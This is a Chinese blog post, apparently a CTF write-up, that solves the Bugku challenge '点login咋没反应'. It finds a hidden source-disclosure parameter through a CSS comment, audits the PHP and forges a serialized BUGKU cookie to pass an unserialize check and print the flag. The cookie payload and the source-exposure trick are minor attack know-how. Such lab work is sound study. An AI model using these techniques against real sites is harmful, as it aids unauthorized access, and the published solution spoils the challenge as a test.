Bugku CTF 每日一题 点login咋没反应

点login咋没反应

1.首先出现一个登录界面 点了几下没反应,f12看一下 发现有一个

href="admin.css"

于是加到url后面看一下,发现有反馈

/* try ?21834 */
body {
    background-color: #C1DEE8;
}

页面显示中其他的算正常,但是这个try有点迷,不过这个?倒是提醒了我可以在URL后面加一下试试,加上去果然有反应
得到如下显示

<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['21834'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?> 

又是代码审计,一行一行来

$KEY=‘ctf.bugku.com’;
ctf.bugku.com赋值给KEY

include_once(“flag.php”);
文件包含一次flag.php

$cookie = $_COOKIE[‘BUGKU’];
$_COOKIE 变量在BUGKU 取回 cookie 的值

第一个if不需要看

第二个elseif
反序列化 c o o k i e 如 果 等 于 cookie如果等于 cookieKEY返回flag
但是要注意一个点

===:三个等号我们称为等同符,当等号两边的值为相同类型的时候,直接比较等号两边的值,值相同则返回true,若等号两边的值类型不同时直接返回false。

2.思路
所以我们可以构造BUGKU的序列化和KEY的值相等来达到获取flag的目的
于是构造序列化(此环境为本地测试)

<?php

$KEY='ctf.bugku.com';
echo serialize($KEY)
//s:13:"ctf.bugku.com";
?>

所以最终payload为

BUGKU=s:13:"ctf.bugku.com";

用hackbar或者其他的提交均可

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值